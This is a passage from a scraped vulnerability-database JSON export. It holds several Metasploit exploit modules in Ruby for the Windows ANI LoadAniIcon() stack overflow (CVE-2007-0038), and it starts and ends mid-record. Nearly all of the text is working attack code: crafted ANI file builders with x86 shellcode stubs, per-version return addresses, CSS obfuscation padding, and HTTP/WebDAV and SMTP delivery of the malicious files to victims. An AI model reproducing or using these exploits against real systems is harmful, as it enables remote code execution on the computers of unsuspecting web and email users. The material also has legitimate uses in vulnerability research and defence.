'OPTIONS, GET, PROPFIND' \n} \nsend_response(cli, '', headers) \nreturn \nend \n \nif request.method == 'PROPFIND' \nprint_status(\"Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}\") \n \nbody = '' \n \nif (not ani_request) \n# Response for directories \nbody = '<?xml version=\"1.0\"?><a:multistatus xmlns:a=\"DAV:\"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>' \nelse \n# Response for files \nbody = '<?xml version=\"1.0\"?><a:multistatus xmlns:b=\"urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/\" xmlns:c=\"xml:\" xmlns:a=\"DAV:\"><a:response></a:response></a:multistatus>' \nend \n \nsend_response(cli, body, {'Content-Type' => 'text/xml'}) \nreturn \nend \n \n# \n# HTML requests sent by IE and Firefox \n# \n \nif (not ani_request) \n \n# Pick a random extension to use when we generate HTML. The moz-icon URL \n# must have a .ani extension, but we can use a random one for IE \n \nexts.delete('ani') \next = exts[rand(exts.length)] \n \n# Generate the HTML \n \nhtml = \n\"<html>\" + \n\"<head><title>\" + random_padding + \"</title></head>\" + \n\"<body>\" + \nrandom_padding + \n(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) + \nrandom_padding + \n\"</body>\" + \n\"</html>\" \n \nprint_status(\"Sending HTML page to #{cli.peerhost}:#{cli.peerport}...\") \n \nsend_response(cli, html) \nreturn \nend \n \n# \n# ANI requests sent by IE and the WebDav Mini-Redirector \n# \n \n# Re-generate the payload \nreturn if ((p = regenerate_payload(cli)) == nil) \n \nprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\") \n \n# Transmit the compressed response to the client \nsend_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' }) \nend \n \n \n# \n# Generate a <div> element with a style attribute referencing the ANI file \n# \n \ndef generate_ie_html(ext) \npath = get_resource.sub(/\\/$/, '') \n \n\"<div style='\" + \nrandom_css_padding + \nRex::Text.to_rand_case(\"cursor\") + \nrandom_css_padding + \n\":\" + \nrandom_css_padding + \nRex::Text.to_rand_case(\"url(\") + \nrandom_css_padding + \n'\"' + \npath + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext + \n'\"' + \nrandom_css_padding + \n\");\" + \nrandom_css_padding + \n\"'>\" + \nrandom_padding + \n\"</div>\" \nend \n \n \n# \n# Generate a img tag with a moz-icon URL referencing the ANI file \n# \n \ndef generate_mozilla_html \npath = get_resource.gsub(/\\/$/, '') \n \n# The UNC path of the ANI file must have at least one directory level, \n# otherwise the WebDAV redirector will not work \nif path == '' \npath = '/' + rand_text_alphanumeric(rand(80)+16) \nend \n \nreturn '<img src=\"moz-icon:file://///' + \ndatastore['SRVHOST'] + \npath + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani\">' \nend \n \n \n# \n# Generate CSS padding \n# \n \ndef random_css_padding \nbuf = \nrandom_whitespace + \n\"/*\" + \nrandom_whitespace + \nrandom_padding + \nrandom_whitespace + \n\"*/\" + \nrandom_whitespace \nend \n \n \n# \n# Generate random whitespace \n# \n \ndef random_whitespace \nlen = rand(100)+2 \nset = \"\\x09\\x20\\x0d\\x0a\" \nbuf = '' \n \nwhile (buf.length < len) \nbuf << set[rand(set.length)].chr \nend \nbuf \nend \n \n \n# \n# Generate random padding \n# \n \ndef random_padding \nrand_text_alphanumeric(rand(128)+4) \nend \n \n \n# \n# Generate an ANI file that will trigger the vulnerability \n# \n \ndef generate_ani(payload, target) \n \n# Valid ANI header \n \nheader = [ \n36, # cbSizeOf (must be 36) \nrand(128)+16, # cFrames (must be > 1 and < 0x10000) \nrand(1024)+1, # cSteps (must be < 0x10000) \n0, 0, # cx, cy \n0, # cBitCount \n0, # cPlanes \n0, # JifRate \n1 # Flags (must have the LSB bit set) \n].pack('V9') \n \noverflow = '' \n \nif target['Method'] == 'jmpesp' \n \n# ANI header that triggers the overflow: \noverflow = \n# 36 bytes of fake header \n \n# When we get control, the ebx and esi registers have the following values: \n# \n# 2000, XP, 2003 before MS05-002 \n# ebx = 0, esi = pointer to MappedFile struct \n# \n# NT before MS05-002 \n# ebx = pointer to dword 1, esi = pointer to MappedFile struct \n# \n# all versions after MS05-002, including XP SP2 and 2003 SP1 \n# ebx = pointer to MappedFile struct \n# \n# The first field in MappedFile is a pointer to the ANI file \n \n\"\\x85\\xDB\" + # test ebx,ebx \n\"\\x74\\x0A\" + # jz jmp_esi 2000, XP, 2003 before MS05-002 \n\"\\x81\\x3B\\x01\\x00\\x00\\x00\" + # cmp dword [ebx], 0x1 \n\"\\x74\\x02\" + # jz jmp_esi NT before MS05-002 \n\"\\x89\\xDE\" + # mov esi, ebx all versions after MS05-002 \n# jmp_esi: \n\"\\x8B\\x36\" + # mov esi,[esi] pointer to ANI file \n\"\\x81\\x3E\\x52\\x49\\x46\\x46\" + # cmp [esi], 'RIFF' \n\"\\x75\\x02\" + # jnz failed \n\"\\xFF\\xE6\" + # jmp esi \n# failed: \n\"\\x31\\xc0\" + # xor eax, eax \n\"\\x8b\\x00\" + # mov eax, [0] exit via SEH \nrand_text(2) + \n\"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0) \n \n# end of header \n \nrand_text(4*6) + # local variables \n \n# The following local variables must be NULL to avoid calls to \n# HeapFree and NtUserDestroyCursor \n \n# 2000, XP, 2003 SP0 2003 SP1 \n \n\"\\x00\\x00\\x00\\x00\" + # var_10 \n\"\\x00\\x00\\x00\\x00\" + # var_C \n\"\\x00\\x00\\x00\\x00\" + # var_C \n\"\\x00\\x00\\x00\\x00\" + # var_8 \n\"\\x00\\x00\\x00\\x00\" + # var_4 \n \n[ \ntarget['Ret1'], # return address for NT, 2000, XP and 2003 SP0 \ntarget['Ret2'] # return address for 2003 SP1 \n].pack('VV') + \n \nrand_text(4*4) + # function arguments \n \n\"\\x90\\x90\\x90\\x90\" + # jmp esp on NT, 2000, XP and 2003 SP0 lands \n# here, 2003 SP1 lands on the next dword \n \n\"\\xeb\\x92\" # jump back to the shellcode in the ANI header \n \nelsif target['Method'] == 'partial' \n \n# ANI header that triggers the overflow: \n \noverflow = \n \n# 36 bytes of fake header \n \nrand_text(32) + \n\"\\x00\\x00\\x00\\x00\" + # header flags (LSB bit must be set to 0) \n \n# end of header \n \nrand_text(4*8) + # local variables \n \n# The following local variables must be NULL to avoid calls to \n# HeapFree and NtUserDestroyCursor on Vista \n \n\"\\x00\\x00\\x00\\x00\" + # var_C \n\"\\x00\\x00\\x00\\x00\" + # var_8 \n\"\\x00\\x00\\x00\\x00\" + # var_4 \n \nrand_text(4) + # saved ebp \n \n[ \ntarget['Ret'], # 2 byte partial overwrite of the return address \n].pack('v') \n \nelse \nraise \"Unknown target #{targetr['Method']}\" \nend \n \n# Build the ANI file \n \n# The shellcode execution begins at the RIFF signature: \n# \n# 'R' 52 push edx \n# 'I' 49 dec ecx \n# 'F' 46 inc esi \n# 'F' 46 inc esi \n# eb 3a jmp +3a # jmp to the code in the payload chunk \nani = \n\"RIFF\" + \"\\xeb\\x3a\\x00\\x00\" + \n\"ACON\" + \nriff_chunk(\"anih\", header) + \n \n# payload chunk \nriff_chunk(random_riff_tag, \nRex::Arch::X86.copy_to_stack(payload.encoded.length) + \npayload.encoded) + \n \nrandom_riff_chunks + \n \n# the second anih chunk trigger the overflow \nriff_chunk(\"anih\", overflow) + \n \nrandom_riff_chunks \n \nreturn ani \nend \n \n \n# \n# Builds a RIFF chunk with a specified tag and data \n# \n \ndef riff_chunk(tag, data) \n \nlen = data.length \npadding = len % 2 # RIFF chunks must be 2 byte aligned \n \nreturn tag + [len].pack('V') + data + (\"\\x00\" * padding) \nend \n \n# \n# Generates a random number of random RIFF chunks, up to 4352 bytes \n# \n \ndef random_riff_chunks(count = rand(16) + 17) \nchunks = '' \n \n0.upto(count) do \nchunks << random_riff_chunk() \nend \n \nreturn chunks \nend \n \n# \n# Generates a random RIFF chunk, up to 136 bytes \n# \n \ndef random_riff_chunk(len = rand(128) + 1) \nriff_chunk(random_riff_tag, rand_text(len)) \nend \n \n \n# \n# Generates a random RIFF tag, making sure that it's not one of the \n# tags processed by LoadAniIcon or LoadCursorIconFromFileMap \n# \n \ndef random_riff_tag \nvalid = ['RIFF', 'ACON', 'anih', 'LIST', 'fram', 'icon', 'rate'] \n \ntag = nil \nbegin \ntag = rand_text_alpha(4) \nend while valid.include? tag \n \nreturn tag \nend \n \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/88402/ms07_017_ani_loadimage_chunksize.rb.txt"}, {"lastseen": "2016-12-05T22:24:34", "description": "", "published": "2009-11-26T00:00:00", "type": "packetstorm", "title": "Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2009-11-26T00:00:00", "id": "PACKETSTORM:83052", "href": "https://packetstormsecurity.com/files/83052/Windows-ANI-LoadAniIcon-Chunk-Size-Stack-Overflow-SMTP.html", "sourceData": "`## \n# $Id$ \n## \n \n## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \n \nrequire 'msf/core' \n \n \nclass Metasploit3 < Msf::Exploit::Remote \n \n# \n# This module sends email messages via smtp \n# \ninclude Msf::Exploit::Remote::SMTPDeliver \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)', \n'Description' => %q{ \nThis module exploits a buffer overflow vulnerability in the \nLoadAniIcon() function of USER32.dll. The flaw is triggered \nthrough Outlook Express by using the CURSOR style sheet \ndirective to load a malicious .ANI file. \n \nThis vulnerability was discovered by Alexander Sotirov of Determina \nand was rediscovered, in the wild, by McAfee. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'hdm', # First version \n'skape', # Vista support \n], \n'Version' => '$Revision$', \n'References' => \n[ \n['CVE', '2007-0038'], \n['CVE', '2007-1765'], \n['OSVDB', '33629'], \n['BID', '23194'], \n['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], \n['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], \n['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], \n], \n'Stance' => Msf::Exploit::Stance::Passive, \n'DefaultOptions' => \n{ \n# Cause internet explorer to exit after the code hits \n'EXITFUNC' => 'process', \n}, \n'Payload' => \n{ \n'Space' => 1024 + (rand(1000)), \n'MinNops' => 32, \n'Compat' => \n{ \n'ConnectionType' => '-bind -find', \n}, \n \n'StackAdjustment' => -3500, \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n \n# \n# Use multiple cursor URLs to try all targets. This can result in \n# multiple, sequential sessions \n# \n \n[ 'Automatic', {} ], \n \n# \n# The following targets use call [ebx+4], just like the original exploit \n# \n \n# Partial overwrite doesn't work for Outlook Express \n[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }], \n \n# Should work for all English XP SP2 \n[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }], \n \n# Supplied by Fabrice MOURRON <fab[at]revhosts.net> \n[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }], \n \n# Should work for English XP SP0/SP1 \n[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }], \n \n# Should work for English 2000 SP0-SP4+ \n[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }], \n \n# \n# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start \n# of the RIFF chunk itself. The length field of the RIFF chunk \n# tag contains a short jump into an embedded riff chunk that \n# makes a long relative jump into the actual payload. \n# \n[ 'Windows Vista user32.dll 6.0.6000.16386', \n{ \n'Ret' => 0x700b, \n'Len' => 2, \n \n# On Vista, the pages that contain the RIFF are read-only. \n# In-place decoders cannot be used. \n'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw } \n} \n], \n \n# \n# Supplied by ramon[at]risesecurity.org \n# \n \n# call [ebx+4] \n[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }], \n[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }], \n[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }], \n \n# call [esi+4] \n[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }], \n[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }] \n], \n'DisclosureDate' => 'Mar 28 2007', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptString.new('MAILSUBJECT', [false, \"The subject of the sent email\"]) \n], self.class) \n \nend \n \ndef autofilter \nfalse \nend \n \ndef exploit \n \nexts = ['bmp', 'wav', 'png', 'zip', 'tar'] \n \ngext = exts[rand(exts.length)] \nname = rand_text_alpha(rand(10)+1) + \".#{gext}\" \n \nanis = {} \n \nhtml = \n\"<html><head><title>\" + \nrand_text_alphanumeric(rand(128)+4) + \n\"</title>\" + \n\"</head><body>\" + rand_text_alphanumeric(rand(128)+1) \n \n \nmytargs = (target.name =~ /Automatic/) ? targets : [target] \n \nif target.name =~ /Automatic/ \ntargets.each_index { |i| \nnext if not targets[i].ret \nacid = generate_cid \nhtml << generate_div(\"cid:#{acid}\") \n \n# Re-generate the payload, using the explicit target \nreturn if ((p = regenerate_payload(nil, nil, targets[i])) == nil) \n \n# Generate an ANI file for this target \nanis[acid] = generate_ani(p, targets[i]) \n} \nelse \nacid = generate_cid \nhtml << generate_div(\"cid:#{acid}\") \n \n# Re-generate the payload, using the explicit target \nreturn if ((p = regenerate_payload(nil, nil, target)) == nil) \n \n# Generate an ANI file for this target \nanis[acid] = generate_ani(p, target) \nend \n \nhtml << \"</body></html>\" \n \n \nmsg = Rex::MIME::Message.new \nmsg.mime_defaults \nmsg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) \nmsg.to = datastore['MAILTO'] \nmsg.from = datastore['MAILFROM'] \n \nmsg.add_part(Rex::Text.encode_base64(html, \"\\r\\n\"), \"text/html\", \"base64\", \"inline\") \nanis.each_pair do |cid,ani| \npart = msg.add_part_attachment(ani, cid + \".\" + gext) \npart.header.set(\"Content-ID\", \"<\"+cid+\">\") \nend \n \nsend_message(msg.to_s) \n \nprint_status(\"Waiting for a payload session (backgrounding)...\") \nend \n \ndef generate_cid \nrand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8) \nend \n \ndef generate_div(url) \n\"<div style='\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"cursor\") + \ngenerate_css_padding() + \n\":\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"url(\") + \ngenerate_css_padding() + \n\"\\\"#{url}\\\"\" + \ngenerate_css_padding() + \n\");\" + \ngenerate_css_padding() + \n\"'>\" + \ngenerate_padding() + \n\"</div>\" \nend \n \ndef generate_ani(payload, target) \n \n# Build the first ANI header \nanih_a = [ \n36, # DWORD cbSizeof \nrand(128)+16, # DWORD cFrames \nrand(1024)+1, # DWORD cSteps \n0, # DWORD cx,cy (reserved - 0) \n0, # DWORD cBitCount, cPlanes (reserved - 0) \n0, 0, 0, # JIF jifRate \n1 # DWORD flags \n].pack('V9') \n \nanih_b = nil \n \nif (target.name =~ /Vista/) \n# Vista has ebp=80, eip=84 \nanih_b = rand_text(84) \n \n# Patch local variables and loop counters \nanih_b[68, 12] = [0].pack(\"V\") * 3 \nelse \n# XP/2K has ebp=76 and eip=80 \nanih_b = rand_text(80) \n \n# Patch local variables and loop counters \nanih_b[64, 12] = [0].pack(\"V\") * 3 \nend \n \n# Overwrite the return with address of a \"call ptr [ebx+4]\" \nanih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4] \n \n# Begin the ANI chunk \nriff = \"ACON\" \n \n# Calculate the data offset for the trampoline chunk and add \n# the trampoline chunk if we're attacking Vista \nif target.name =~ /Vista/ \ntrampoline_doffset = riff.length + 8 \n \nriff << generate_trampoline_riff_chunk \nend \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Embed the first ANI header \nriff << \"anih\" + [anih_a.length].pack('V') + anih_a \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Trigger the return address overwrite \nriff << \"anih\" + [anih_b.length].pack('V') + anih_b \n \n# If this is a Vista target, then we need to align the length of the \n# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 \nif target.name =~ /Vista/ \nplen = (riff.length & 0xffff0000) | 0x0eeb \nplen += 0x10000 if (plen - 8) < riff.length \n \nriff << generate_riff_chunk((plen - 8) - riff.length) \n \n# Replace the operand to the relative jump to point into the actual \n# payload itself which comes after the riff chunk \nriff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V') \nend \n \n# Place the RIFF chunk in front and off we go \nret = \"RIFF\" + [riff.length].pack('V') + riff \n \n# We copy the encoded payload to the stack because sometimes the RIFF \n# image is mapped in read-only pages. This would prevent in-place \n# decoders from working, and we can't have that. \nret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) \n \n# Place the real payload right after it. \nret << payload.encoded \n \nret \n \nend \n \n# Generates a riff chunk with the first bytes of the data being a relative \n# jump. This is used to bounce to the actual payload \ndef generate_trampoline_riff_chunk \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_riff_chunk(len = (rand(256)+1) * 2) \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = rand_text(len) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_css_padding \nbuf = \ngenerate_whitespace() + \n\"/*\" + \ngenerate_whitespace() + \ngenerate_padding() + \ngenerate_whitespace() + \n\"*/\" + \ngenerate_whitespace() \nend \n \ndef generate_whitespace \nlen = rand(100)+2 \nset = \"\\x09\\x20\\x0d\\x0a\" \nbuf = '' \n \nwhile (buf.length < len) \nbuf << set[rand(set.length)].chr \nend \nbuf \nend \n \ndef generate_padding \nrand_text_alphanumeric(rand(128)+4) \nend \n \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/83052/ani_loadimage_chunksize.rb.txt"}, {"lastseen": "2016-12-05T22:15:33", "description": "", "published": "2007-04-03T00:00:00", "type": "packetstorm", "title": "ani_loadimage_chunksize-email.rb.txt", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-03T00:00:00", "id": "PACKETSTORM:55552", "href": "https://packetstormsecurity.com/files/55552/ani_loadimage_chunksize-email.rb.txt.html", "sourceData": "`## \n# $Id$ \n## \n \n## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/projects/Framework/ \n## \n \n \nrequire 'msf/core' \n \nmodule Msf \n \nclass Exploits::Windows::Email::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote \n \n# \n# This module sends email messages via smtp \n# \ninclude Exploit::Remote::SMTPDeliver \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)', \n'Description' => %q{ \nThis module exploits a buffer overflow vulnerability in the \nLoadAniIcon() function of USER32.dll. The flaw is triggered \nthrough Outlook Express by using the CURSOR style sheet \ndirective to load a malicious .ANI file. \n \nThis vulnerability was discovered by Alexander Sotirov of Determina \nand was rediscovered, in the wild, by McAfee. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'hdm', # First version \n'skape', # Vista support \n], \n'Version' => '$Revision$', \n'References' => \n[ \n['CVE', '2007-0038'], \n['CVE', '2007-1765'], \n['BID', '23194'], \n['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], \n['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'], \n['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], \n], \n'Stance' => Msf::Exploit::Stance::Passive, \n'DefaultOptions' => \n{ \n# Cause internet explorer to exit after the code hits \n'EXITFUNC' => 'process', \n}, \n'Payload' => \n{ \n'Space' => 1024 + (rand(1000)), \n'MinNops' => 32, \n'Compat' => \n{ \n'ConnectionType' => '-bind -find', \n}, \n \n'StackAdjustment' => -3500, \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n \n# \n# Use multiple cursor URLs to try all targets. This can result in \n# multiple, sequential sessions \n# \n \n[ 'Automatic', {} ], \n \n# \n# The following targets use call [ebx+4], just like the original exploit \n# \n \n# Partial overwrite doesn't work for Outlook Express \n[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }], \n \n# Should work for all English XP SP2 \n[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }], \n \n# Should work for English XP SP0/SP1 \n[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }], \n \n# Should work for English 2000 SP0-SP4+ \n[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }], \n \n \n# \n# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start \n# of the RIFF chunk itself. The length field of the RIFF chunk \n# tag contains a short jump into an embedded riff chunk that \n# makes a long relative jump into the actual payload. \n# \n[ 'Windows Vista user32.dll 6.0.6000.16386', \n{ \n'Ret' => 0x700b, \n'Len' => 2, \n \n# On Vista, the pages that contain the RIFF are read-only. \n# In-place decoders cannot be used. \n'Payload' => { 'EncoderType' => Msf::Encoder::Type::Raw } \n} \n] \n], \n'DisclosureDate' => 'Mar 28 2007', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptString.new('MAILSUBJECT', [false, \"The subject of the sent email\"]) \n], self.class) \n \nend \n \ndef autofilter \nfalse \nend \n \ndef exploit \n \nexts = ['bmp', 'wav', 'png', 'zip', 'tar'] \n \ngext = exts[rand(exts.length)] \nname = rand_text_alpha(rand(10)+1) + \".#{gext}\" \n \nanis = {} \n \nhtml = \n\"<html><head><title>\" + \nrand_text_alphanumeric(rand(128)+4) + \n\"</title>\" + \n\"</head><body>\" + rand_text_alphanumeric(rand(128)+1) \n \n \nmytargs = (target.name =~ /Automatic/) ? targets : [target] \n \nif target.name =~ /Automatic/ \ntargets.each_index { |i| \nnext if not targets[i].ret \nacid = generate_cid \nhtml << generate_div(\"cid:#{acid}\") \n \n# Re-generate the payload, using the explicit target \nreturn if ((p = regenerate_payload(nil, nil, targets[i])) == nil) \n \n# Generate an ANI file for this target \nanis[acid] = generate_ani(p, targets[i]) \n} \nelse \nacid = generate_cid \nhtml << generate_div(\"cid:#{acid}\") \n \n# Re-generate the payload, using the explicit target \nreturn if ((p = regenerate_payload(nil, nil, target)) == nil) \n \n# Generate an ANI file for this target \nanis[acid] = generate_ani(p, target) \nend \n \nhtml << \"</body></html>\" \n \n \nmsg = Rex::MIME::Message.new \nmsg.mime_defaults \nmsg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) \nmsg.to = datastore['MAILTO'] \nmsg.from = datastore['MAILFROM'] \n \nmsg.add_part(Rex::Text.encode_base64(html, \"\\r\\n\"), \"text/html\", \"base64\", \"inline\") \nanis.each_pair do |cid,ani| \npart = msg.add_part_attachment(ani, cid + \".\" + gext) \npart.header.set(\"Content-ID\", \"<\"+cid+\">\") \nend \n \nsend_message(msg.to_s) \n \nprint_status(\"Waiting for a payload session (backgrounding)...\") \nend \n \ndef generate_cid \nrand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8) \nend \n \ndef generate_div(url) \n\"<div style='\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"cursor\") + \ngenerate_css_padding() + \n\":\" + \ngenerate_css_padding() + \nRex::Text.to_rand_case(\"url(\") + \ngenerate_css_padding() + \n\"\\\"#{url}\\\"\" + \ngenerate_css_padding() + \n\");\" + \ngenerate_css_padding() + \n\"'>\" + \ngenerate_padding() + \n\"</div>\" \nend \n \ndef generate_ani(payload, target) \n \n# Build the first ANI header \nanih_a = [ \n36, # DWORD cbSizeof \nrand(128)+16, # DWORD cFrames \nrand(1024)+1, # DWORD cSteps \n0, # DWORD cx,cy (reserved - 0) \n0, # DWORD cBitCount, cPlanes (reserved - 0) \n0, 0, 0, # JIF jifRate \n1 # DWORD flags \n].pack('V9') \n \nanih_b = nil \n \nif (target.name =~ /Vista/) \n# Vista has ebp=80, eip=84 \nanih_b = rand_text(83) \nanih_b = Rex::Text.pattern_create(84) \n \n# Overwrite local counter variable and pointers \nanih_b[68, 12] = [0].pack('V') * 3 \nelse \n# XP/2K has ebp=76 and eip=80 \nanih_b = rand_text(80) \nanih_b[64, 16] = [0].pack('V') * 4 \nend \n \n# Overwrite the return with address of a \"call ptr [ebx+4]\" \nanih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4] \n \n# Begin the ANI chunk \nriff = \"ACON\" \n \n# Calculate the data offset for the trampoline chunk and add \n# the trampoline chunk if we're attacking Vista \nif target.name =~ /Vista/ \ntrampoline_doffset = riff.length + 8 \n \nriff << generate_trampoline_riff_chunk \nend \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Embed the first ANI header \nriff << \"anih\" + [anih_a.length].pack('V') + anih_a \n \n# Insert random RIFF chunks \n0.upto(rand(128)+16) do |i| \nriff << generate_riff_chunk() \nend \n \n# Trigger the return address overwrite \nriff << \"anih\" + [anih_b.length].pack('V') + anih_b \n \n# If this is a Vista target, then we need to align the length of the \n# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16 \nif target.name =~ /Vista/ \nplen = (riff.length & 0xffff0000) | 0x0eeb \nplen += 0x10000 if (plen - 8) < riff.length \n \nriff << generate_riff_chunk((plen - 8) - riff.length) \n \n# Replace the operand to the relative jump to point into the actual \n# payload itself which comes after the riff chunk \nriff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V') \nend \n \n# Place the RIFF chunk in front and off we go \nret = \"RIFF\" + [riff.length].pack('V') + riff \n \n# We copy the encoded payload to the stack because sometimes the RIFF \n# image is mapped in read-only pages. This would prevent in-place \n# decoders from working, and we can't have that. \nret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) \n \n# Place the real payload right after it. \nret << payload.encoded \n \nret \n \nend \n \n# Generates a riff chunk with the first bytes of the data being a relative \n# jump. This is used to bounce to the actual payload \ndef generate_trampoline_riff_chunk \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_riff_chunk(len = (rand(256)+1) * 2) \ntag = Rex::Text.to_rand_case(rand_text_alpha(4)) \ndat = rand_text(len) \ntag + [dat.length].pack('V') + dat \nend \n \ndef generate_css_padding \nbuf = \ngenerate_whitespace() + \n\"/*\" + \ngenerate_whitespace() + \ngenerate_padding() + \ngenerate_whitespace() + \n\"*/\" + \ngenerate_whitespace() \nend \n \ndef generate_whitespace \nlen = rand(100)+2 \nset = \"\\x09\\x20\\x0d\\x0a\" \nbuf = '' \n \nwhile (buf.length < len) \nbuf << set[rand(set.length)].chr \nend \nbuf \nend \n \ndef generate_padding \nrand_text_alphanumeric(rand(128)+4) \nend \n \nend \n \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/55552/ani_loadimage_chunksize-email.rb.txt"}, {"lastseen": "2016-12-05T22:23:32", "description": "", "published": "2007-04-03T00:00:00", "type": "packetstorm", "title": "ani_loadimage_chunksize-browser.rb.txt", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "modified": "2007-04-03T00:00:00", "id": "PACKETSTORM:55551", "href": "https://packetstormsecurity.com/files/55551/ani_loadimage_chunksize-browser.rb.txt.html", "sourceData": "`## \n# $Id$ \n## \n \n## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/projects/Framework/ \n## \n \n \nrequire 'msf/core' \n \nmodule Msf \n \nclass Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote \n \n# \n# This module acts as an HTTP server \n# \ninclude Exploit::Remote::HttpServer::HTML \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)', \n'Description' => %q{ \nThis module exploits a buffer overflow vulnerability in the \nLoadAniIcon() function of USER32.dll. The flaw is triggered \nthrough Internet Explorer (6 and 7) by using the CURSOR style sheet \ndirective to load a malicious .ANI file. Internet Explorer will catch any \nexceptions 